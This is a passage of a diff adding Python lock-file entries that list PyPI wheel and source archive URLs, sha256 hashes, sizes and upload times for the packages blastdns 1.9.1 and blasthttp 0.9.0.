+    { url = "https://files.pythonhosted.org/packages/b3/34/ca482b1f59520b6c5b3fa50b253bd009e6e636541cf238788e34b81e5352/blastdns-1.9.1-cp311-cp311-win_amd64.whl", hash = "sha256:5ab93ca714cb913423e2780b2c3881a1303fa21948c5602795262c9bd51c702b", size = 2658811, upload-time = "2026-04-15T20:33:21.347Z" },
+    { url = "https://files.pythonhosted.org/packages/a9/f7/82d6bc99f2c3c65ee7d1c87627c9451ccb3c6dd1e21d1afb7caed4761c20/blastdns-1.9.1-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:e46c938ce8eec89384c82b68fd62fa2f76935d4d68d1ba51f199008c1a8b056b", size = 2649921, upload-time = "2026-04-15T20:32:18.725Z" },
+    { url = "https://files.pythonhosted.org/packages/96/c4/6f1b04ee737feeac6b78459708b6b6b5e4215b8a443945bbb5078a1dba0b/blastdns-1.9.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b1eead79b192af541f4e89328aaed7e675254a56583d406dcc5cc527b1ed0662", size = 2510639, upload-time = "2026-04-15T20:32:12.531Z" },
+    { url = "https://files.pythonhosted.org/packages/b0/b4/80cc72f8e94a46743bc400d2336506388fcbffe0feeaeaec03410d451db6/blastdns-1.9.1-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:d0d6a6d4654032b2fc1a1df1bb145afb83989c23160da5b629c64e797a6f3027", size = 2449415, upload-time = "2026-04-15T20:30:55.661Z" },
+    { url = "https://files.pythonhosted.org/packages/f5/d6/459997181a1a0c8bd162c6f3b830732f49f39fd9e62d77dc1fde2b9fb953/blastdns-1.9.1-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:cb5745b8f4ea3929d090dfa18126b9094986ea2e5808a54cdb58a355e1360a82", size = 2319087, upload-time = "2026-04-15T20:31:09.425Z" },
+    { url = "https://files.pythonhosted.org/packages/10/a8/d67e9a0212005a178ab1a5fa3ea7cd280fb00b981a1020b15a7cf87ea244/blastdns-1.9.1-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:7bd6bfc82e08624d1b40f1e4822b548f63829351e7f72080d69099b32fdb8361", size = 2549284, upload-time = "2026-04-15T20:31:52.737Z" },
+    { url = "https://files.pythonhosted.org/packages/0a/e9/667b14a3cda6cd1bb31838c2769ec8533ce32aa5a3a905acc5db6e687851/blastdns-1.9.1-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:e23dc048586e8b20523ecbc4c5931d8bc5485e79200207c4c6f91ad4b5ea980f", size = 3516061, upload-time = "2026-04-15T20:31:24.299Z" },
+    { url = "https://files.pythonhosted.org/packages/ee/f7/8b756e8a2dd781007763318b11fb2fb8f233dfb86f10409a69abc9b03c29/blastdns-1.9.1-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:6c0472de6616e7ed20b5fb3784c41b52e64a0ff1079106be0140c6f00e19f6c6", size = 2503102, upload-time = "2026-04-15T20:31:38.968Z" },
+    { url = "https://files.pythonhosted.org/packages/91/c8/6f689dc1491c13ebe1275943995c3376644e26c130fd0e30dae538477996/blastdns-1.9.1-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:775dbd6b7d1eccb3375a9f17f43723ddf79a1d12ae1d202d3f587101aff21db1", size = 2436641, upload-time = "2026-04-15T20:32:02.719Z" },
+    { url = "https://files.pythonhosted.org/packages/d1/52/5376331c9278f5334b76dd48210e1fb10a83f4920516c7060ccde56ec6da/blastdns-1.9.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:40bff362bd9be708197d5c548ad7f006688d763cada1faee44ae1e7d2acb06ef", size = 2625799, upload-time = "2026-04-15T20:32:26.823Z" },
+    { url = "https://files.pythonhosted.org/packages/e4/d1/622c75809c143d51037daa8af9f3477e6e4606a12d58f5189b4da81e6511/blastdns-1.9.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:408c30d61126c1cc0ecacb1011ed6ef2f34840e937e2def22f3ed943ad6ba8f4", size = 2593888, upload-time = "2026-04-15T20:32:39.932Z" },
+    { url = "https://files.pythonhosted.org/packages/11/a0/0a8dc041ccb68720dbe44ce36c10404d904b0572c0589987c5618c1c109d/blastdns-1.9.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:9af85ef741d4f230ea55f12d4876b1123562f51ce9b9f7d58b6f52d3d84395c1", size = 2670025, upload-time = "2026-04-15T20:32:53.153Z" },
+    { url = "https://files.pythonhosted.org/packages/72/33/b5d69a9a719b3ec354fd938769f95697e17e4c1011b97aa5f424d2a7be77/blastdns-1.9.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3339b69fc959292a66ea724b0d5e9563c4ca0be7dd48fc78adb8914a3c82ab57", size = 2685562, upload-time = "2026-04-15T20:33:08.351Z" },
+    { url = "https://files.pythonhosted.org/packages/c6/d5/36c430234203e7f4c2719b321ee316c4ac82db2541761ecff6035445fbec/blastdns-1.9.1-cp312-cp312-win_amd64.whl", hash = "sha256:074b0ffe33ed57d6bef65d0120fa508d855f49910a1ed51ee6c3920e6ffc73bf", size = 2657744, upload-time = "2026-04-15T20:33:22.771Z" },
+    { url = "https://files.pythonhosted.org/packages/09/a2/ed3363e3cbc5d10fc2301fc0651bb316f203a287a331eb65ce0f0c0726d1/blastdns-1.9.1-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:3fe8fecc19fdb3ee6bcfcd4242c9e2433254c8c40d1b57fa40d6190eadd73da7", size = 2649286, upload-time = "2026-04-15T20:32:20.42Z" },
+    { url = "https://files.pythonhosted.org/packages/db/15/1e37003ef21f8777b51f1abc85edae818358743a74b0a836a8a409383f91/blastdns-1.9.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:b84013fc47cebeac3093f4feaeed3a4d5f45d82eebdffb73bde610e8e30f3399", size = 2510656, upload-time = "2026-04-15T20:32:14.308Z" },
+    { url = "https://files.pythonhosted.org/packages/03/4e/b7f055bbe93b4201738c284482cd94d76b8f148381daa6774ddf509533f5/blastdns-1.9.1-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:7e2f7b28bff77a5c5627f1f85069309e3c4039d4d277756e84d2d5c229716c16", size = 2447985, upload-time = "2026-04-15T20:30:57.312Z" },
+    { url = "https://files.pythonhosted.org/packages/14/d4/05a0eb6ce69da50e1a20a4374e685b54cafcf2550aa544280f77a56e7c88/blastdns-1.9.1-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:4668ccfde0215c685a81e3e121ef5d0eafccdb940bb7f9d3f7b8ffb004955b51", size = 2319178, upload-time = "2026-04-15T20:31:11.009Z" },
+    { url = "https://files.pythonhosted.org/packages/9d/a7/d483bf6db4762f9ac2772cac722659334cf704316bf8e1c190af5b2fd430/blastdns-1.9.1-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:9f4b05ba48357b70f0ee9ff6dfc581aa3af55040e4b0db4e43c53e4c3d5c8e58", size = 2549530, upload-time = "2026-04-15T20:31:54.377Z" },
+    { url = "https://files.pythonhosted.org/packages/77/c1/bc1eb90bb9fda8a354ffda502da723afa4aeaf7e7538ac94dea3e922dc4d/blastdns-1.9.1-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:6da53361836a9b6d05daf391d8ce8f765de881e394827d5314021cb4c013eec7", size = 3515285, upload-time = "2026-04-15T20:31:26.049Z" },
+    { url = "https://files.pythonhosted.org/packages/2c/2e/6dd47138c57efa03ef848f40c0ee5686f69fba028b72f8683173af7e44a2/blastdns-1.9.1-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:a10dbdcda0ab8c9cf641163cb568d820d51282d848bdd0c8627a51f3f6038163", size = 2501978, upload-time = "2026-04-15T20:31:40.265Z" },
+    { url = "https://files.pythonhosted.org/packages/8c/95/cc06697ddb03d03fb6a171b337c9c649cd5bc3493b4e8c83e185eeef1dad/blastdns-1.9.1-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:1f3400075b16905fd6837902511fed9c4b98b13de3cad8e3a78cf6d0e78f8124", size = 2435831, upload-time = "2026-04-15T20:32:04.657Z" },
+    { url = "https://files.pythonhosted.org/packages/9c/26/6a702d559328213e0e3e7bb3a7c8788031c42b0613ae363cfd5ee33d130d/blastdns-1.9.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a32a1e51d34b9e926a9c218c166a254d57c120a2f7b963f04fe81fd3d45f35ed", size = 2625279, upload-time = "2026-04-15T20:32:28.256Z" },
+    { url = "https://files.pythonhosted.org/packages/25/e4/fc227358013e8bce5896d4405ecc882520d4480da1c30efb6c0950e526ac/blastdns-1.9.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:fbd5f5cd402b3075254e03b608c48e25825ea806421437e74c5fc833716a86a6", size = 2593895, upload-time = "2026-04-15T20:32:41.373Z" },
+    { url = "https://files.pythonhosted.org/packages/62/8d/45e3c76947052ce2c60d58944f40178ded356b4440f83007a159ab095bef/blastdns-1.9.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:3c398d2c3780e50e1a12515e0ada2eb7c510e6d699ad60d6c6382352ba4a5db5", size = 2670367, upload-time = "2026-04-15T20:32:54.542Z" },
+    { url = "https://files.pythonhosted.org/packages/77/ac/482fd604a13e05ab3e0efa84336fa39c5c391addf8308b16ee9109f67fd0/blastdns-1.9.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:11057e252c5545f1f89a4f5413a396366686799dd48b11e7c6dcad44d05df47e", size = 2684704, upload-time = "2026-04-15T20:33:09.845Z" },
+    { url = "https://files.pythonhosted.org/packages/fc/67/2998dd8a5239a7afc223f4ec270048d47af5e10bb996d045c3e6e5580433/blastdns-1.9.1-cp313-cp313-win_amd64.whl", hash = "sha256:a0dc5dd486fec357fbcde1ff2f4dd3bcc4baa02323d46cc749c9a8f0fa810435", size = 2657425, upload-time = "2026-04-15T20:33:24.357Z" },
+    { url = "https://files.pythonhosted.org/packages/47/49/2b51f2ba622a1723b75411fd2384d26a4d55576e0f642019fcba1ea5498a/blastdns-1.9.1-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:5bf0c8445d9d4cc0ce7668ddb2358e5c90ce711eb2001d5fd742fc30bdf6b9ff", size = 2443445, upload-time = "2026-04-15T20:30:59.07Z" },
+    { url = "https://files.pythonhosted.org/packages/f7/60/490cd9f4b40cc9ee0de49252f278798e0d020f002f2c3bd93669096050f5/blastdns-1.9.1-cp313-cp313t-manylinux_2_28_armv7l.whl", hash = "sha256:0d3f1498eb37543ecbf92719aae8eda22c4cabbf14e1a1ba6c6a3e5a9157b2df", size = 2319663, upload-time = "2026-04-15T20:31:12.808Z" },
+    { url = "https://files.pythonhosted.org/packages/d1/6c/b801b2706677a62cdac1c3dd46d618f3b1b18bd26b21a2df3531ab559ff4/blastdns-1.9.1-cp313-cp313t-manylinux_2_28_ppc64le.whl", hash = "sha256:1be2eb559002355311fd9f584a3ed4dc4b9b5fa4255864f39779203ad3d71228", size = 3521129, upload-time = "2026-04-15T20:31:27.637Z" },
+    { url = "https://files.pythonhosted.org/packages/71/83/81f22f8b06fe06e7cc1021d6d84a1f570300c7d3f7f1e8da94617d68aba6/blastdns-1.9.1-cp313-cp313t-manylinux_2_28_s390x.whl", hash = "sha256:8b207ea568b9dfc62e0fc5a848afa15448311ec3f2dbcc519327399f6604f087", size = 2512375, upload-time = "2026-04-15T20:31:41.616Z" },
+    { url = "https://files.pythonhosted.org/packages/59/6c/ff24de4e418c1b683db47975af30ea600deb96c6e8ea2163470b57d8ad85/blastdns-1.9.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:4f4f11a2fa4b9aa7d735252e4cfa515e51330d019065ed575a71ceb645a7fc13", size = 2621796, upload-time = "2026-04-15T20:32:29.51Z" },
+    { url = "https://files.pythonhosted.org/packages/52/53/60620d5ecab72926afcb197476c765f10d690b574786c1be8d3b8f5465a0/blastdns-1.9.1-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:072b0f20ed5a23ce9a69d93fc0f4f840ca03e92a02290640c32c08e51e85e09a", size = 2591749, upload-time = "2026-04-15T20:32:43.158Z" },
+    { url = "https://files.pythonhosted.org/packages/6e/2a/d0fe319e0aa0a79346b0107a339724489feaedd266fd209374f4731f6abe/blastdns-1.9.1-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:8985b6a5d88c57d9d3b566551b37a09349c0a30234167148c3d80423abbe9c8c", size = 2668454, upload-time = "2026-04-15T20:32:55.824Z" },
+    { url = "https://files.pythonhosted.org/packages/f7/19/541a831d645ecede4f91fa6441e2eef23fbc3e0c7c51830f2f0a40bee609/blastdns-1.9.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:306e7ba2b9a0a3a9a38086ee8d187a33aae5979b588ad80bfb5ecd01633c298b", size = 2687970, upload-time = "2026-04-15T20:33:11.578Z" },
+    { url = "https://files.pythonhosted.org/packages/85/c8/d784d1df9d930183b991822954dc31aeae2b3947147ce9d53d12eb7a3822/blastdns-1.9.1-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:337771fc54faafbdda2206426c362839961253a4959135767e9014ff4db879ca", size = 2650821, upload-time = "2026-04-15T20:32:21.943Z" },
+    { url = "https://files.pythonhosted.org/packages/b8/98/0b3d1d6b5ff0cf1c404a9b8c7948102d724e767cf22ddedf9a3bd239a1ec/blastdns-1.9.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:6015697b4fe9dc4ff2bc397367ae726c6e6cd87bdb86e1d6b5c6856d0914beb7", size = 2517319, upload-time = "2026-04-15T20:32:15.85Z" },
+    { url = "https://files.pythonhosted.org/packages/b8/8b/ecc1e80fe8aa9ac5677c62d9c6d7bb6c2c68025d99f2ff81dc6be5eb907f/blastdns-1.9.1-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:01b2f1da7fe1fb44fd1af52c337979bb7284b727f971d83aa761a4887a22adb2", size = 2446094, upload-time = "2026-04-15T20:31:00.43Z" },
+    { url = "https://files.pythonhosted.org/packages/1d/9e/0ac6101f9b597c61d3997623c0a3e5e7be4071461c8a2986851f3739da32/blastdns-1.9.1-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:147d815a686771709c96803319233218310efb0247644df4f0d6958cb4f9b65c", size = 2320171, upload-time = "2026-04-15T20:31:14.233Z" },
+    { url = "https://files.pythonhosted.org/packages/10/e4/d195149ab6402b157474ee93212b393a644eedea5f005a2aa0e650c3e4bb/blastdns-1.9.1-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:ad4d1bb7b9fa57a7aec368a84d6830663b8f16550769edf273cf21e992425824", size = 2551099, upload-time = "2026-04-15T20:31:55.683Z" },
+    { url = "https://files.pythonhosted.org/packages/c8/b0/c711045dd0ba9f15938930f75c66e57c6ae4962c821f6b0f43364d3799ff/blastdns-1.9.1-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:f2af21539691a44409020ef2260b63ac8f4ae0ee838a8e21ba51d3d480c2015c", size = 3519937, upload-time = "2026-04-15T20:31:29.379Z" },
+    { url = "https://files.pythonhosted.org/packages/4c/72/2a0d2f09018e3461b16c5d64a72b7660dad97cc2eb1e0479f11a705f1db9/blastdns-1.9.1-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:c110f4de3839e204dc0ec97da33d01cdc78c9ffde991f583b735bf9df4c90b8d", size = 2508859, upload-time = "2026-04-15T20:31:42.963Z" },
+    { url = "https://files.pythonhosted.org/packages/26/f6/5c1d954dfc4d6f420dea661dc7eb228f2fd6d31954e3d492888be426f97c/blastdns-1.9.1-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:743b1501d9a625f6d0dd8ed668fd96241646bd6f70399992af43f8fef5fc42d9", size = 2439876, upload-time = "2026-04-15T20:32:06.166Z" },
+    { url = "https://files.pythonhosted.org/packages/1f/71/c5a3837136449a1f5f3f14fb251fb318d48d5611755fc972fc2868473fbb/blastdns-1.9.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:4c4b0b8ca367405807b14d63f57805ca2af21c651afd07feae5db32fbaaa63f7", size = 2624052, upload-time = "2026-04-15T20:32:30.895Z" },
+    { url = "https://files.pythonhosted.org/packages/59/e5/9ee26448806cc548d147a32811b406646c1530bdf66f9ef42bd232b95dfe/blastdns-1.9.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:8f4141a04a887e45f77e92fe5ae290c017275985b96455c2aa05084220b12423", size = 2594969, upload-time = "2026-04-15T20:32:44.441Z" },
+    { url = "https://files.pythonhosted.org/packages/48/81/e9c759fc353a17b3256994f23b08d5c4f147bd0eab2e8522434548abd50c/blastdns-1.9.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:c0247ea74dcb9cb22fc319ab15518a6b2cd8e147b560e6908acaa97f4eb9912b", size = 2671068, upload-time = "2026-04-15T20:32:57.332Z" },
+    { url = "https://files.pythonhosted.org/packages/10/9a/5dd9a17edbee1bfb996d289e5b1bbd2e1446644c02da8fe71925c4a6c828/blastdns-1.9.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:9131f9c496a6e67b46b5184fc49dc691340c1267982808460d3fdc9fbf00fc0d", size = 2689854, upload-time = "2026-04-15T20:33:12.962Z" },
+    { url = "https://files.pythonhosted.org/packages/2a/82/62f420b248e485b222a7ad714d94d814e9d8ad90f4112fbbdf4d31d5f557/blastdns-1.9.1-cp314-cp314-win32.whl", hash = "sha256:f13198d57ac8606a542f273ffbeec0cf4d1b97ec5c367d217fdb7b25715888a6", size = 2206019, upload-time = "2026-04-15T20:33:27.428Z" },
+    { url = "https://files.pythonhosted.org/packages/41/0b/6db2d905fce282e099b43a93f4ed7bdf586d55f9c79a6e8cf446364981d3/blastdns-1.9.1-cp314-cp314-win_amd64.whl", hash = "sha256:b1301428a30b6ad1137f47470f882da604329d6a566708045106e06c3cc5b13b", size = 2656519, upload-time = "2026-04-15T20:33:26.101Z" },
+    { url = "https://files.pythonhosted.org/packages/53/ea/b5ac534f37548ae80edfb915c7a1cbd764fb92ab62cc87d360b8f951d11e/blastdns-1.9.1-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:e5d4e64d0cdfef7e31d1e4c9124cc901d801fd1925c0add743dd4b5dac5ab48d", size = 2445855, upload-time = "2026-04-15T20:31:02.055Z" },
+    { url = "https://files.pythonhosted.org/packages/53/15/43ce6b8ef5ba5e5d1ffb9ad4dbf9148ea2356e556cb1d3925ffc35fcd4d9/blastdns-1.9.1-cp314-cp314t-manylinux_2_28_armv7l.whl", hash = "sha256:9078d39a13c467185dbe205b3121ef6667b452612e64a9a83670d38a4ff8f280", size = 2320251, upload-time = "2026-04-15T20:31:16.119Z" },
+    { url = "https://files.pythonhosted.org/packages/a9/e8/52dc13fd874bc0cc02b850ae87781bd53b1bdb6f6efa2b6b769a4bd16106/blastdns-1.9.1-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:712ff165713d9624a0811d94e2a555af15339f11df7fae9535aebd0de3577730", size = 3523183, upload-time = "2026-04-15T20:31:31.017Z" },
+    { url = "https://files.pythonhosted.org/packages/fc/be/f129125b775e40c17624fb97550393528fa69dbb945f56fa01ba4cde797e/blastdns-1.9.1-cp314-cp314t-manylinux_2_28_s390x.whl", hash = "sha256:c31fb423922e491d87435d497a3ad571fdd1200b9d9a51322fbee2aff0275d15", size = 2512967, upload-time = "2026-04-15T20:31:44.564Z" },
+    { url = "https://files.pythonhosted.org/packages/5b/fd/38b3d4986f984eb9f61987f312fb851c3c7943678f7685ff1803ac061eb8/blastdns-1.9.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:269e2f84e83c5a4c48e05c8222670289935ef9504184f6742e8049ded205d67f", size = 2622821, upload-time = "2026-04-15T20:32:32.222Z" },
+    { url = "https://files.pythonhosted.org/packages/a3/84/0f0a9d767389b43edeae21f2665c5c745e2e4a056c697515962a7b4fe463/blastdns-1.9.1-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:b2c751284fe68dcf70e3f9de11c6c7cbe228473c152563ad0a781fc4a95ed484", size = 2593955, upload-time = "2026-04-15T20:32:45.822Z" },
+    { url = "https://files.pythonhosted.org/packages/8d/53/04ece144df58ae2af74607fa63f38d3345f56ab32e3fce31e99d2b358019/blastdns-1.9.1-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:c3925dfff6f2fb7dcaa514ee3730a55d0824dce0023038cabf69f9e341d5a632", size = 2670065, upload-time = "2026-04-15T20:32:59.942Z" },
+    { url = "https://files.pythonhosted.org/packages/bd/92/6ae1976ec0a8d1b4b7946c3203cda4637bb5a261126eb8f46004d2af0297/blastdns-1.9.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:e163cd43d5206e224e8e5ef5b18af634e97d5e90f535f0906af783e13b7fcec5", size = 2688595, upload-time = "2026-04-15T20:33:14.533Z" },
+    { url = "https://files.pythonhosted.org/packages/88/f0/c44a8092fae154af9fc74d21ae3639a1544500c0a0516dc31a8a086d3ad4/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:03f5dd6a4dfa45d5972a3be01f704264b43bb6d02b86b7eba132070c9f18f286", size = 2452601, upload-time = "2026-04-15T20:31:04.974Z" },
+    { url = "https://files.pythonhosted.org/packages/08/3c/d3136a70d9b8dc3349a3a11753b5cd459168fe244ae983d0d5ba81e2d6be/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_armv7l.whl", hash = "sha256:1e2621a878baa1be84b910fb2b7d492184f484988f5d572746b2e555c89926d7", size = 2322996, upload-time = "2026-04-15T20:31:19.091Z" },
+    { url = "https://files.pythonhosted.org/packages/64/a1/3dea21c2a56f85e9ca11b97cef0282b40737c9c1f35769ace9c4501aa790/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_i686.whl", hash = "sha256:356fde1c078710dd93d627282c18945390d74cca7cad7c334a50624ebb7c9f9d", size = 2560325, upload-time = "2026-04-15T20:31:58.318Z" },
+    { url = "https://files.pythonhosted.org/packages/4a/9f/46ba0541a4f2c9f473b6841983a5760dd18462ddcf702f6569328aa9de01/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_ppc64le.whl", hash = "sha256:7d189845c2982e354127426923fdda4342cf083ce5b75b4f8276ca7d9bfc196a", size = 3522302, upload-time = "2026-04-15T20:31:34.43Z" },
+    { url = "https://files.pythonhosted.org/packages/b9/9d/e2fdd3f5bfddf50b37d243fcfced48a3352d1e573c7f025229c67e3bbf00/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_s390x.whl", hash = "sha256:1b41c108de569a822697dab53e15e2bc30fb59d3546c172903f9e66c19826282", size = 2510299, upload-time = "2026-04-15T20:31:47.831Z" },
+    { url = "https://files.pythonhosted.org/packages/fc/10/a981c619876586b6b4a9763e80eea405ff7f3917ab3b5d35bc9db2565123/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:fbab1fe79723547ee03c861368769e38605e87cfb8be2858f60ad497aaca2520", size = 2444480, upload-time = "2026-04-15T20:32:09.231Z" },
+    { url = "https://files.pythonhosted.org/packages/45/0d/7451f1a7bea17f39b25fe3ddbc74271c31c0b8b81b84cf5fb5b8f01ba1ed/blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:378e95b2723eabf23ffb04ed0bd326aa5661d4ae3396a8326ad2ffcc324d4bff", size = 2629253, upload-time = "2026-04-15T20:32:35.696Z" },
+    { url = "https://files.pythonhosted.org/packages/b7/a1/ef1c8049ada69185f6276e42c33e50d18cea464037195bbf9260a3da8d64/blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_armv7l.whl", hash = "sha256:e4facab544265314dbf212ee015138ec823529e006b306e030ad5a4c2d4a6ec3", size = 2598351, upload-time = "2026-04-15T20:32:48.896Z" },
+    { url = "https://files.pythonhosted.org/packages/d9/b4/dbc258187d079a86487f9b26761430f8f4ff531814d710caab66b388f402/blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:62269fee131b31f401dabe16f427dedf4ac6c0c5d7a302a52a7d685456772385", size = 2679763, upload-time = "2026-04-15T20:33:02.936Z" },
+    { url = "https://files.pythonhosted.org/packages/1e/01/480f3c5e54abf85b6accdc25635a10428720f9f2fa6b95c89d59e35f2912/blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:64581573a438d95f51e297aa6790a85f49ed00fcb2afdf5a459b911dce970619", size = 2694305, upload-time = "2026-04-15T20:33:17.253Z" },
+]
+
+[[package]]
+name = "blasthttp"
+version = "0.9.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/44/53/9d6b95be1a088c9910fbe66737321c9ecc2a276ca9bd8bb9a980ce95f78c/blasthttp-0.9.0.tar.gz", hash = "sha256:26ea06cbe41d06c54f32d0f44f863f352a1e25c3bb7708371e6a6a1f14f10887", size = 155052, upload-time = "2026-06-15T21:36:52.799Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/58/9f/09edc18d272f2e081e5feccb58be2f2d9796fed588a9c1a384b3647c55bb/blasthttp-0.9.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:1c04516f462aead9b80a0d1441c1363b2dd936f9bdbe95bcfd68297b28af5690", size = 4766864, upload-time = "2026-06-15T21:35:34.701Z" },
+    { url = "https://files.pythonhosted.org/packages/02/d9/7154e248e59886f154377a7a28be38b0f14bc6ee8d8ced3fc96ba5dacd4f/blasthttp-0.9.0-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:251d241e81363bdaa7865b8b522454124c2966b804f17617a6e948a4e3213eec", size = 4073697, upload-time = "2026-06-15T21:35:44.099Z" },
+    { url = "https://files.pythonhosted.org/packages/96/73/685868e9aaf009ad2abaf4bd0154ebbdaa867755b43846bfbfd3ab10d288/blasthttp-0.9.0-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:bcbec4d6069beb7d35ec7bc45ddaee3ab75c84807ffe1693ee5dc23f74284abb", size = 4674200, upload-time = "2026-06-15T21:36:06.125Z" },
+    { url = "https://files.pythonhosted.org/packages/9e/42/30c7bba3ff019022757f84f0d22093606dac1d957bec3359bcefcca7896a/blasthttp-0.9.0-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:b0c2b79a33f9c12a4a20be8972ad71420fd87d423fc41b2c209f6e35a913da95", size = 4676689, upload-time = "2026-06-15T21:35:51.19Z" },
+    { url = "https://files.pythonhosted.org/packages/bb/11/eda9b048c26682b74520662283ffbad0b93901d203b98480a4d56383876a/blasthttp-0.9.0-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:c5b77484c1b0f3947517060ca6c9d8f7897df747b71a0b47601ad2d9f68ebff6", size = 4281801, upload-time = "2026-06-15T21:35:59.122Z" },
+    { url = "https://files.pythonhosted.org/packages/a5/9f/f0a0bd43cc5f2127d4e12d44333b58ce1a82d78fc5570c6b46b18cbf4168/blasthttp-0.9.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:4aa44e909d6da3701ff9232a36c297b6b6aee6eacf8b3256056c99ad0c2b2c9d", size = 4423208, upload-time = "2026-06-15T21:36:14.627Z" },
+    { url = "https://files.pythonhosted.org/packages/ee/dc/ac3dbee046c309db30638fa0e0d399a17c88693b96aa7770b435a1157b77/blasthttp-0.9.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:7c40dfdabeba10153438702bdbd1c8b9f52a970ac0c716d18994cc8129eafdd3", size = 5055907, upload-time = "2026-06-15T21:36:22.366Z" },
+    { url = "https://files.pythonhosted.org/packages/87/6b/48789cd1bc6f8c5f15d2392ce79aef8070485517cdcfc2e6b9fe6058a872/blasthttp-0.9.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:f546903b501fc5001e2e34a84263ae33c5f76babc2badaa3a135d17f9f4e57ae", size = 4377479, upload-time = "2026-06-15T21:36:30.118Z" },
+    { url = "https://files.pythonhosted.org/packages/51/23/b4732d9cd6cb344187673b9a3906bad350ee64b90ccd2d23a231a8c9a3b7/blasthttp-0.9.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3e42bf089fa6f1e083450bf67049033e83877629ca7248fc23ab50c6067a361e", size = 4801122, upload-time = "2026-06-15T21:36:37.173Z" },
+    { url = "https://files.pythonhosted.org/packages/4d/48/8cd6fbc8b0575c8ae8d1597217f4d411ecf360b4b2e15bbf6cfaf27b6fba/blasthttp-0.9.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:4c1425f7189f55f9ae80994bc3ef20831e25fdafc41fedd5d31dfac7c0b284fa", size = 4768767, upload-time = "2026-06-15T21:36:45.094Z" },
+    { url = "https://files.pythonhosted.org/packages/b0/7f/110ebe871906e7a82d4c7c612872a512fb78736c6c3600d6d601869a3ab0/blasthttp-0.9.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:3be37f102e9e06cdd45d8979872fe84391d15991c585f8505eff0d96c3669624", size = 4763145, upload-time = "2026-06-15T21:35:36.634Z" },
+    { url = "https://files.pythonhosted.org/packages/1e/61/d52d9b8b336835eff9aa172f908b521513e463800f040d5d5c8fba6f07f8/blasthttp-0.9.0-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:7fef685aa2cb3c143062f92e4e500cc86b0c7fdb5d5b7ec4fed3d7ce732a3ad7", size = 4070730, upload-time = "2026-06-15T21:35:45.576Z" },
